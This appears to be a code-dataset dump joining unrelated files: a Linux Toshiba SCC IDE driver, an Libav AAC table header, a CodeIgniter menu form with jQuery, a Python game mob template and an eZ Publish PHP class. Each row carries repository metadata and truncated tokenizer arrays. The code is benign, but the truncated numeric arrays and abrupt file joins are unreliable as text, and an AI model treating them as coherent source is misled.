iounmap(ctl_addr);
fail_0:
return -ENOMEM;
}
static int scc_ide_setup_pci_device(struct pci_dev *dev,
const struct ide_port_info *d)
{
struct scc_ports *ports = pci_get_drvdata(dev);
struct ide_host *host;
struct ide_hw hw, *hws[] = { &hw };
int i, rc;
memset(&hw, 0, sizeof(hw));
for (i = 0; i <= 8; i++)
hw.io_ports_array[i] = ports->dma + 0x20 + i * 4;
hw.irq = dev->irq;
hw.dev = &dev->dev;
rc = ide_host_add(d, hws, 1, &host);
if (rc)
return rc;
ports->host = host;
return 0;
}
/**
* init_setup_scc - set up an SCC PATA Controller
* @dev: PCI device
* @d: IDE port info
*
* Perform the initial set up for this device.
*/
static int init_setup_scc(struct pci_dev *dev, const struct ide_port_info *d)
{
unsigned long ctl_base;
unsigned long dma_base;
unsigned long cckctrl_port;
unsigned long intmask_port;
unsigned long mode_port;
unsigned long ecmode_port;
u32 reg = 0;
struct scc_ports *ports;
int rc;
rc = pci_enable_device(dev);
if (rc)
goto end;
rc = setup_mmio_scc(dev, d->name);
if (rc < 0)
goto end;
ports = pci_get_drvdata(dev);
ctl_base = ports->ctl;
dma_base = ports->dma;
cckctrl_port = ctl_base + 0xff0;
intmask_port = dma_base + 0x010;
mode_port = ctl_base + 0x024;
ecmode_port = ctl_base + 0xf00;
/* controller initialization */
reg = 0;
out_be32((void*)cckctrl_port, reg);
reg |= CCKCTRL_ATACLKOEN;
out_be32((void*)cckctrl_port, reg);
reg |= CCKCTRL_LCLKEN | CCKCTRL_OCLKEN;
out_be32((void*)cckctrl_port, reg);
reg |= CCKCTRL_CRST;
out_be32((void*)cckctrl_port, reg);
for (;;) {
reg = in_be32((void*)cckctrl_port);
if (reg & CCKCTRL_CRST)
break;
udelay(5000);
}
reg |= CCKCTRL_ATARESET;
out_be32((void*)cckctrl_port, reg);
out_be32((void*)ecmode_port, ECMODE_VALUE);
out_be32((void*)mode_port, MODE_JCUSFEN);
out_be32((void*)intmask_port, INTMASK_MSK);
rc = scc_ide_setup_pci_device(dev, d);
end:
return rc;
}
static void scc_tf_load(ide_drive_t *drive, struct ide_taskfile *tf, u8 valid)
{
struct ide_io_ports *io_ports = &drive->hwif->io_ports;
if (valid & IDE_VALID_FEATURE)
scc_ide_outb(tf->feature, io_ports->feature_addr);
if (valid & IDE_VALID_NSECT)
scc_ide_outb(tf->nsect, io_ports->nsect_addr);
if (valid & IDE_VALID_LBAL)
scc_ide_outb(tf->lbal, io_ports->lbal_addr);
if (valid & IDE_VALID_LBAM)
scc_ide_outb(tf->lbam, io_ports->lbam_addr);
if (valid & IDE_VALID_LBAH)
scc_ide_outb(tf->lbah, io_ports->lbah_addr);
if (valid & IDE_VALID_DEVICE)
scc_ide_outb(tf->device, io_ports->device_addr);
}
static void scc_tf_read(ide_drive_t *drive, struct ide_taskfile *tf, u8 valid)
{
struct ide_io_ports *io_ports = &drive->hwif->io_ports;
if (valid & IDE_VALID_ERROR)
tf->error = scc_ide_inb(io_ports->feature_addr);
if (valid & IDE_VALID_NSECT)
tf->nsect = scc_ide_inb(io_ports->nsect_addr);
if (valid & IDE_VALID_LBAL)
tf->lbal = scc_ide_inb(io_ports->lbal_addr);
if (valid & IDE_VALID_LBAM)
tf->lbam = scc_ide_inb(io_ports->lbam_addr);
if (valid & IDE_VALID_LBAH)
tf->lbah = scc_ide_inb(io_ports->lbah_addr);
if (valid & IDE_VALID_DEVICE)
tf->device = scc_ide_inb(io_ports->device_addr);
}
static void scc_input_data(ide_drive_t *drive, struct ide_cmd *cmd,
void *buf, unsigned int len)
{
unsigned long data_addr = drive->hwif->io_ports.data_addr;
len++;
if (drive->io_32bit) {
scc_ide_insl(data_addr, buf, len / 4);
if ((len & 3) >= 2)
scc_ide_insw(data_addr, (u8 *)buf + (len & ~3), 1);
} else
scc_ide_insw(data_addr, buf, len / 2);
}
static void scc_output_data(ide_drive_t *drive, struct ide_cmd *cmd,
void *buf, unsigned int len)
{
unsigned long data_addr = drive->hwif->io_ports.data_addr;
len++;
if (drive->io_32bit) {
scc_ide_outsl(data_addr, buf, len / 4);
if ((len & 3) >= 2)
scc_ide_outsw(data_addr, (u8 *)buf + (len & ~3), 1);
} else
scc_ide_outsw(data_addr, buf, len / 2);
}
/**
* init_mmio_iops_scc - set up the iops for MMIO
* @hwif: interface to set up
*
*/
static void init_mmio_iops_scc(ide_hwif_t *hwif)
{
struct pci_dev *dev = to_pci_dev(hwif->dev);
struct scc_ports *ports = pci_get_drvdata(dev);
unsigned long dma_base = ports->dma;
ide_set_hwifdata(hwif, ports);
hwif->dma_base = dma_base;
hwif->config_data = ports->ctl;
}
/**
* init_iops_scc - set up iops
* @hwif: interface to set up
*
* Do the basic setup for the SCC hardware interface
* and then do the MMIO setup.
*/
static void init_iops_scc(ide_hwif_t *hwif)
{
struct pci_dev *dev = to_pci_dev(hwif->dev);
hwif->hwif_data = NULL;
if (pci_get_drvdata(dev) == NULL)
return;
init_mmio_iops_scc(hwif);
}
static int scc_init_dma(ide_hwif_t *hwif, const struct ide_port_info *d)
{
return ide_allocate_dma_engine(hwif);
}
static u8 scc_cable_detect(ide_hwif_t *hwif)
{
return ATA_CBL_PATA80;
}
/**
* init_hwif_scc - set up hwif
* @hwif: interface to set up
*
* We do the basic set up of the interface structure. The SCC
* requires several custom handlers so we override the default
* ide DMA handlers appropriately.
*/
static void init_hwif_scc(ide_hwif_t *hwif)
{
/* PTERADD */
out_be32((void __iomem *)(hwif->dma_base + 0x018), hwif->dmatable_dma);
if (in_be32((void __iomem *)(hwif->config_data + 0xff0)) & CCKCTRL_ATACLKOEN)
hwif->ultra_mask = ATA_UDMA6; /* 133MHz */
else
hwif->ultra_mask = ATA_UDMA5; /* 100MHz */
}
static const struct ide_tp_ops scc_tp_ops = {
.exec_command = scc_exec_command,
.read_status = scc_read_status,
.read_altstatus = scc_read_altstatus,
.write_devctl = scc_write_devctl,
.dev_select = ide_dev_select,
.tf_load = scc_tf_load,
.tf_read = scc_tf_read,
.input_data = scc_input_data,
.output_data = scc_output_data,
};
static const struct ide_port_ops scc_port_ops = {
.set_pio_mode = scc_set_pio_mode,
.set_dma_mode = scc_set_dma_mode,
.udma_filter = scc_udma_filter,
.cable_detect = scc_cable_detect,
};
static const struct ide_dma_ops scc_dma_ops = {
.dma_host_set = scc_dma_host_set,
.dma_setup = scc_dma_setup,
.dma_start = scc_dma_start,
.dma_end = scc_dma_end,
.dma_test_irq = scc_dma_test_irq,
.dma_lost_irq = ide_dma_lost_irq,
.dma_timer_expiry = ide_dma_sff_timer_expiry,
.dma_sff_read_status = scc_dma_sff_read_status,
};
static const struct ide_port_info scc_chipset = {
.name = "sccIDE",
.init_iops = init_iops_scc,
.init_dma = scc_init_dma,
.init_hwif = init_hwif_scc,
.tp_ops = &scc_tp_ops,
.port_ops = &scc_port_ops,
.dma_ops = &scc_dma_ops,
.host_flags = IDE_HFLAG_SINGLE,
.irq_flags = IRQF_SHARED,
.pio_mask = ATA_PIO4,
.chipset = ide_pci,
};
/**
* scc_init_one - pci layer discovery entry
* @dev: PCI device
* @id: ident table entry
*
* Called by the PCI code when it finds an SCC PATA controller.
* We then use the IDE PCI generic helper to do most of the work.
*/
static int scc_init_one(struct pci_dev *dev, const struct pci_device_id *id)
{
return init_setup_scc(dev, &scc_chipset);
}
/**
* scc_remove - pci layer remove entry
* @dev: PCI device
*
* Called by the PCI code when it removes an SCC PATA controller.
*/
static void scc_remove(struct pci_dev *dev)
{
struct scc_ports *ports = pci_get_drvdata(dev);
struct ide_host *host = ports->host;
ide_host_remove(host);
iounmap((void*)ports->dma);
iounmap((void*)ports->ctl);
pci_release_selected_regions(dev, (1 << 2) - 1);
memset(ports, 0, sizeof(*ports));
}
static const struct pci_device_id scc_pci_tbl[] = {
{ PCI_VDEVICE(TOSHIBA_2, PCI_DEVICE_ID_TOSHIBA_SCC_ATA), 0 },
{ 0, },
};
MODULE_DEVICE_TABLE(pci, scc_pci_tbl);
static struct pci_driver scc_pci_driver = {
.name = "SCC IDE",
.id_table = scc_pci_tbl,
.probe = scc_init_one,
.remove = scc_remove,
};
static int __init scc_ide_init(void)
{
return ide_pci_register_driver(&scc_pci_driver);
}
static void __exit scc_ide_exit(void)
{
pci_unregister_driver(&scc_pci_driver);
}
module_init(scc_ide_init);
module_exit(scc_ide_exit);
MODULE_DESCRIPTION("PCI driver module for Toshiba SCC IDE");
MODULE_LICENSE("GPL");
| mericon/Xp_Kernel_LGH850 | virt/drivers/ide/scc_pata.c | C | gpl-2.0 | 22,450 | [
30522,
1013,
1008,
1008,
2490,
2005,
8909,
2063,
19706,
2006,
3526,
15878,
4132,
1008,
1008,
30524,
3642,
2003,
2241,
2006,
6853,
1013,
8909,
2063,
1013,
7473,
2072,
1013,
9033,
9581,
3351,
1012,
1039,
1024,
1008,
9385,
1006,
1039,
1007,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* AAC decoder data
* Copyright (c) 2005-2006 Oded Shimon ( ods15 ods15 dyndns org )
* Copyright (c) 2006-2007 Maxim Gavrilov ( maxim.gavrilov gmail com )
*
* This file is part of Libav.
*
* Libav is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* Libav is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with Libav; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* @file
* AAC decoder data
* @author Oded Shimon ( ods15 ods15 dyndns org )
* @author Maxim Gavrilov ( maxim.gavrilov gmail com )
*/
#ifndef AVCODEC_AACDECTAB_H
#define AVCODEC_AACDECTAB_H
#include "libavutil/audioconvert.h"
#include "aac.h"
#include <stdint.h>
/* @name ltp_coef
* Table of the LTP coefficients
*/
static const float ltp_coef[8] = {
0.570829, 0.696616, 0.813004, 0.911304,
0.984900, 1.067894, 1.194601, 1.369533,
};
/* @name tns_tmp2_map
* Tables of the tmp2[] arrays of LPC coefficients used for TNS.
* The suffix _M_N[] indicate the values of coef_compress and coef_res
* respectively.
* @{
*/
static const float tns_tmp2_map_1_3[4] = {
0.00000000, -0.43388373, 0.64278758, 0.34202015,
};
static const float tns_tmp2_map_0_3[8] = {
0.00000000, -0.43388373, -0.78183150, -0.97492790,
0.98480773, 0.86602539, 0.64278758, 0.34202015,
};
static const float tns_tmp2_map_1_4[8] = {
0.00000000, -0.20791170, -0.40673664, -0.58778524,
0.67369562, 0.52643216, 0.36124167, 0.18374951,
};
static const float tns_tmp2_map_0_4[16] = {
0.00000000, -0.20791170, -0.40673664, -0.58778524,
-0.74314481, -0.86602539, -0.95105654, -0.99452192,
0.99573416, 0.96182561, 0.89516330, 0.79801720,
0.67369562, 0.52643216, 0.36124167, 0.18374951,
};
static const float * const tns_tmp2_map[4] = {
tns_tmp2_map_0_3,
tns_tmp2_map_0_4,
tns_tmp2_map_1_3,
tns_tmp2_map_1_4
};
// @}
static const int8_t tags_per_config[16] = { 0, 1, 1, 2, 3, 3, 4, 5, 0, 0, 0, 0, 0, 0, 0, 0 };
static const uint8_t aac_channel_layout_map[7][5][2] = {
{ { TYPE_SCE, 0 }, },
{ { TYPE_CPE, 0 }, },
{ { TYPE_CPE, 0 }, { TYPE_SCE, 0 }, },
{ { TYPE_CPE, 0 }, { TYPE_SCE, 0 }, { TYPE_SCE, 1 }, },
{ { TYPE_CPE, 0 }, { TYPE_SCE, 0 }, { TYPE_CPE, 1 }, },
{ { TYPE_CPE, 0 }, { TYPE_SCE, 0 }, { TYPE_LFE, 0 }, { TYPE_CPE, 1 }, },
{ { TYPE_CPE, 0 }, { TYPE_SCE, 0 }, { TYPE_LFE, 0 }, { TYPE_CPE, 2 }, { TYPE_CPE, 1 }, },
};
static const int64_t aac_channel_layout[8] = {
AV_CH_LAYOUT_MONO,
AV_CH_LAYOUT_STEREO,
AV_CH_LAYOUT_SURROUND,
AV_CH_LAYOUT_4POINT0,
AV_CH_LAYOUT_5POINT0_BACK,
AV_CH_LAYOUT_5POINT1_BACK,
AV_CH_LAYOUT_7POINT1_WIDE,
0,
};
#endif /* AVCODEC_AACDECTAB_H */
| heiher/gst-ffmpeg | gst-libs/ext/libav/libavcodec/aacdectab.h | C | gpl-2.0 | 3,227 | [
30522,
1013,
1008,
1008,
9779,
2278,
21933,
4063,
2951,
1008,
9385,
1006,
1039,
1007,
2384,
1011,
2294,
24040,
2094,
11895,
8202,
1006,
1051,
5104,
16068,
1051,
5104,
16068,
1040,
6038,
2094,
3619,
8917,
1007,
1008,
9385,
1006,
1039,
1007,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?= form_open('', array("class"=>"form-horizontal", "id"=>"frm_menu")); ?>
<div class="form-group <?= form_error('title') ? ' error' : ''; ?>">
<label for="title" class="control-label col-sm-2"><?= lang('menus_title'); ?></label>
<div class="col-sm-4">
<input type="hidden" id="menuid" name="menuid" value="<?php echo set_value('menuid', isset($data->id) ? $data->id : ''); ?>">
<input type="hidden" id="type" name="type" value="<?= isset($type) ? $type : 'add' ?>">
<input id="title" type="text" name="title" class="form-control" maxlength="100" value="<?php echo set_value('title', isset($data->title) ? $data->title : ''); ?>" />
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('title'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('link') ? ' error' : ''; ?>">
<label for="link" class="control-label col-sm-2"><?= lang('menus_link'); ?></label>
<div class="col-sm-4">
<input id="link" type="text" name="link" class="form-control" maxlength="255" value="<?php echo set_value('link', isset($data->link) ? $data->link : ''); ?>" />
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('link'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('icon') ? ' error' : ''; ?>">
<label for="icon" class="control-label col-sm-2"><?= lang('menus_icon'); ?></label>
<div class="col-sm-4">
<input id="icon" type="text" name="icon" class="form-control" maxlength="255" value="<?php echo set_value('icon', isset($data->icon) ? $data->icon : ''); ?>" />
<span>e.g. "fa fa-angle-right"</span>
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('icon'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('target') ? ' error' : ''; ?>">
<label for="target" class="control-label col-sm-2"><?= lang('menus_target'); ?></label>
<div class="col-sm-3">
<select id="target" name="target" class="form-control">
<option value="sametab" <?php echo set_select('target', 'sametab', isset($data->target) && $data->target=="sametab"); ?>>Same Tab</option>
<option value="_blank" <?php echo set_select('target', '_blank', isset($data->target) && $data->target=="_blank"); ?>>New Tab</option>
</select>
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('target'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('group_menu') ? ' error' : ''; ?>">
<label for="group_menu" class="control-label col-sm-2"><?= lang('menus_group'); ?></label>
<div class="col-sm-3">
<select id="group_menu" name="group_menu" class="form-control">
<?php foreach ($group_menus as $key => $gr) : ?>
<option value="<?= $gr->id; ?>" <?= set_select('group_menu', $gr->id, isset($data->group_menu) && $data->group_menu == $gr->id) ?>><?= $gr->group_name ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('group_menu'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('parent_id') ? ' error' : ''; ?>">
<label for="parent_id" class="control-label col-sm-2"><?= lang('menus_parent'); ?></label>
<div class="col-sm-4">
<select id="parent_id" name="parent_id" class="form-control">
<option value="0">This is parent menu</option>
<?php foreach ($parents as $key => $parent) : ?>
<option value="<?= $parent->id; ?>" <?= set_select('parent_id', $parent->id, isset($data->parent_id) && $data->parent_id == $parent->id) ?>><?= $parent->title ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('parent_id'); ?></span>
</div>
</div>
<div class="form-group <?= form_error('permission_id') ? ' error' : ''; ?>">
<label for="permission_id" class="control-label col-sm-2"><?= lang('menus_permissions'); ?></label>
<div class="col-sm-4">
<select id="permission_id" name="permission_id" class="form-control">
<?php foreach ($permissions as $key => $permission) : ?>
<option value="<?= $permission->id_permission; ?>" <?= set_select('permission_id', $permission->id_permission, isset($data->permission_id) && $data->permission_id == $permission->id_permission) ?>><?= $permission->nm_permission ?></option>
<?php endforeach; ?>
</select>
</div>
<div class="col-sm-10 col-sm-offset-2">
<span class="help-inline"><?php echo form_error('permission_id'); ?></span>
</div>
</div>
<div class="form-group ">
<label for="status" class="control-label col-sm-2"><?php echo lang('menus_status'); ?></label>
<div class="col-sm-2">
<select name="status" id="status" class="form-control">
<option value="1" <?php echo set_select('status', '1', isset($data->status) && $data->status == 1); ?>><?php echo lang('menus_active'); ?></option>
<option value="0" <?php echo set_select('status', '0', isset($data->status) && $data->status == 0); ?>><?php echo lang('menus_inactive'); ?></option>
</select>
</div>
</div>
<div class="form-group" style="margin-bottom: 5px;">
<div class="col-sm-offset-2 col-sm-6">
<input type="button" name="save" onclick="save_menu()" class="btn btn-primary btn-flat" value="<?php echo lang('menus_save'); ?>" />
<?php
echo lang('menus_or').' ' . "<input type='button' name='btn_cancel' class='btn btn-danger btn-flat' onclick='cancel()' value='".lang('menus_cancel')."' />";
?>
<div id='alert_edit' class='alert-success text-center col-md-5 pull-right' style="padding: 5px;display: none;">Menu saved</div>
</div>
</div>
<?= form_close();?>
<script type="text/javascript">
$().ready(function(){
var ns = $('ol.sortable').nestedSortable({
forcePlaceholderSize: true,
handle: 'div',
helper: 'clone',
items: 'li',
opacity: .6,
placeholder: 'placeholder',
revert: 250,
tabSize: 20,
tolerance: 'pointer',
toleranceElement: '> div',
maxLevels: 2,
isTree: true,
startCollapsed: false
});
$('.disclose').on('click', function() {
$(this).closest('li').toggleClass('mjs-nestedSortable-collapsed').toggleClass('mjs-nestedSortable-expanded');
$(this).toggleClass('ui-icon-plusthick').toggleClass('ui-icon-minusthick');
});
$("#title").focus();
});
//Edit Menu
function editmenu(idmenu){
if(idmenu!=""){
var url = 'menus/edit/'+idmenu;
$("#frm_menu_head").html("Edit Menu");
$("#form-area").load(siteurl+url);
$("#title").focus();
}
}
function save_order_menu(){
var formdata = $('ol.sortable').nestedSortable('serialize');
token_hash = $("#frm_menu_order [name='ci_csrf_token']").val();
formdata = formdata+'&ci_csrf_token='+token_hash;
$.ajax({
url : siteurl+"menus/save_order",
data : formdata,
dataType : "json",
type : "post",
success: function(msg){
if(msg['save']==1){
$("#frm_menu_order [name='ci_csrf_token']").val(msg['token']);
$("#alert_save").html("Menu order saved");
$("#alert_save").removeClass("alert-danger");
$("#alert_save").removeClass("alert-success");
$("#alert_save").addClass("alert-success");
$("#alert_save").show();
setTimeout(function(){
$("#alert_save").hide();
window.location.reload();
},2000);
}else{
$("#frm_menu_order [name='ci_csrf_token']").val(msg['token']);
$("#alert_save").html("Menu saving failed");
$("#alert_save").removeClass("alert-danger");
$("#alert_save").removeClass("alert-success");
$("#alert_save").addClass("alert-danger");
$("#alert_save").show();
setTimeout(function(){
$("#alert_save").hide();
},2000);
}
}
});
}
//Cancel Edit or Add
function cancel(){
$("#menuid").val("");
$("#type").val("add");
$("#title").val("");
$("#link").val("");
$("#icon").val("");
$("#taget").val("sametab");
$("#group_menu").val($("#group_menu option:first").val());
$("#parent_id").val(0);
$("#parent_id").prop("disabled",false);
$("#permission_id").val($("#permission_id option:first").val());
$("#taget").val(1);
$("#frm_menu_head").html("Add New Menu");
}
//Save Menu
function save_menu(){
var title = $("#title").val().trim();
var formdata = $("#frm_menu").serialize();
if(title!=""){
$.ajax({
url : siteurl+"menus/save_menus_ajax",
data : formdata,
dataType : "json",
type : "post",
success: function(msg){
if(msg['save']==1){
$("#frm_menu [name='ci_csrf_token']").val(msg['token']);
$("#alert_edit").html("Menu saved");
$("#alert_edit").removeClass("alert-danger");
$("#alert_edit").removeClass("alert-success");
$("#alert_edit").addClass("alert-success");
$("#alert_edit").show();
setTimeout(function(){
$("#alert_edit").hide();
window.location.reload();
//reset form
cancel();
},2000);
}else{
$("#frm_menu [name='ci_csrf_token']").val(msg['token']);
$("#alert_edit").html("Menu saving failed");
$("#alert_edit").removeClass("alert-danger");
$("#alert_edit").removeClass("alert-success");
$("#alert_edit").addClass("alert-danger");
$("#alert_edit").show();
setTimeout(function(){
$("#alert_edit").hide();
},2000);
}
}
});
}else{
$("#alert_edit").html("Title must be filled");
$("#alert_edit").removeClass("alert-danger");
$("#alert_edit").removeClass("alert-success");
$("#alert_edit").addClass("alert-danger");
$("#alert_edit").show();
setTimeout(function(){
$("#alert_edit").hide();
},2000);
}
}
//Delete Menu
function delete_menu(id){
var idmenu = id;
var token_hash = $("#frm_menu_order [name='ci_csrf_token']").val();
var conf = confirm("Are you sure you want to delete this menu ?");
if(idmenu!=="")
{
if(conf){
$.ajax({
url : siteurl+"menus/delete",
data : ({id: idmenu, ci_csrf_token: token_hash}),
type : "post",
dataType : "json",
success : function(msg){
if(msg['delete']==1)
{
$("#frm_menu_order [name='ci_csrf_token']").val(msg['token']);
$("#alert_save").html("Menu deleted");
$("#alert_save").removeClass("alert-danger");
$("#alert_save").removeClass("alert-success");
$("#alert_save").addClass("alert-success");
$("#alert_save").show();
setTimeout(function(){
$("#alert_save").hide();
window.location.reload();
},2000);
}else if(msg['delete']==2){
$("#frm_menu_order [name='ci_csrf_token']").val(msg['token']);
$("#alert_save").html("Delete child first");
$("#alert_save").removeClass("alert-danger");
$("#alert_save").removeClass("alert-success");
$("#alert_save").addClass("alert-danger");
$("#alert_save").show();
setTimeout(function(){
$("#alert_save").hide();
},2000);
}else{
$("#frm_menu_order [name='ci_csrf_token']").val(msg['token']);
$("#alert_save").html("Deletion failed");
$("#alert_save").removeClass("alert-danger");
$("#alert_save").removeClass("alert-success");
$("#alert_save").addClass("alert-danger");
$("#alert_save").show();
setTimeout(function(){
$("#alert_save").hide();
},2000);
}
}
});
}
}
}
</script> | suwitolt/ci3-adminlte-hmvc | application/modules/menus/views/menus_form.php | PHP | mit | 14,064 | [
30522,
1026,
1029,
1027,
2433,
1035,
2330,
1006,
1005,
1005,
1010,
9140,
1006,
1000,
2465,
1000,
1027,
1028,
1000,
2433,
1011,
9876,
1000,
1010,
1000,
8909,
1000,
1027,
1028,
1000,
10424,
2213,
1035,
12183,
1000,
1007,
1007,
1025,
1029,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
import sys
from services.spawn import MobileTemplate
from services.spawn import WeaponTemplate
from resources.datatables import WeaponType
from resources.datatables import Difficulty
from resources.datatables import Options
from java.util import Vector
def addTemplate(core):
mobileTemplate = MobileTemplate()
mobileTemplate.setCreatureName('water_thief')
mobileTemplate.setLevel(5)
mobileTemplate.setDifficulty(Difficulty.NORMAL)
mobileTemplate.setMinSpawnDistance(4)
mobileTemplate.setMaxSpawnDistance(8)
mobileTemplate.setDeathblow(False)
mobileTemplate.setScale(1)
mobileTemplate.setSocialGroup("thug")
mobileTemplate.setAssistRange(4)
mobileTemplate.setStalker(True)
mobileTemplate.setOptionsBitmask(Options.AGGRESSIVE | Options.ATTACKABLE)
templates = Vector()
templates.add('object/mobile/shared_dressed_tatooine_moisture_thief.iff')
mobileTemplate.setTemplates(templates)
weaponTemplates = Vector()
weapontemplate = WeaponTemplate('object/weapon/melee/sword/shared_sword_01.iff', WeaponType.ONEHANDEDMELEE, 1.0, 5, 'kinetic')
weaponTemplates.add(weapontemplate)
mobileTemplate.setWeaponTemplateVector(weaponTemplates)
attacks = Vector()
mobileTemplate.setDefaultAttack('saberhit')
mobileTemplate.setAttacks(attacks)
core.spawnService.addMobileTemplate('water_thief', mobileTemplate)
return | agry/NGECore2 | scripts/mobiles/tatooine/water_thief.py | Python | lgpl-3.0 | 1,333 | [
30522,
12324,
25353,
2015,
2013,
2578,
1012,
25645,
12324,
4684,
18532,
15725,
2013,
2578,
1012,
25645,
12324,
5195,
18532,
15725,
2013,
4219,
1012,
2951,
10880,
2015,
12324,
5195,
13874,
2013,
4219,
1012,
2951,
10880,
2015,
12324,
7669,
2013... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* This file is part of the eZ Publish Kernel package
*
* @copyright Copyright (C) eZ Systems AS. All rights reserved.
* @license For full copyright and license information view LICENSE file distributd with this source code.
*/
namespace eZ\Bundle\EzPublishCoreBundle\DependencyInjection\Configuration\ComplexSettings;
/**
* Factory for complex dynamic settings resolution.
*
* Meant to be added, as a service, in place of a complex argument, containing one or more dynamic setting
* within another string.
*
* During the ComplexSettingPass, complex settings will be replaced by a factory based on this class.
*
* Each setting is added twice:
* - once with the $ trimmed, so that we know what is being replaced
* - once with the $ untrimmed, so that the ConfigResolverPass transforms those into their value.
*
* When the services using those factories are built, every dynamic setting in the string
* is resolved, and the setting is replaced with its value in the string, and returned.
*
* Example:
* ```php
* $argumentValue = ComplexSettingValueResolver::resolveSetting(
* '$var_dir$/$storage_dir$',
* 'var_dir',
* '$var_dir$'
* 'storage_dir',
* '$storage_dir$'
* );
* ```
*/
class ComplexSettingValueResolver
{
/**
* Can receive as many tuples of array( argumentName ), argumentValue as necessary
*
* @param $argumentString
* @param string $dynamicSettingName..
* @param string $dynamicSettingValue..
*
* @return string
*/
public function resolveSetting( $argumentString )
{
$arguments = array_slice( func_get_args(), 1 );
$value = $argumentString;
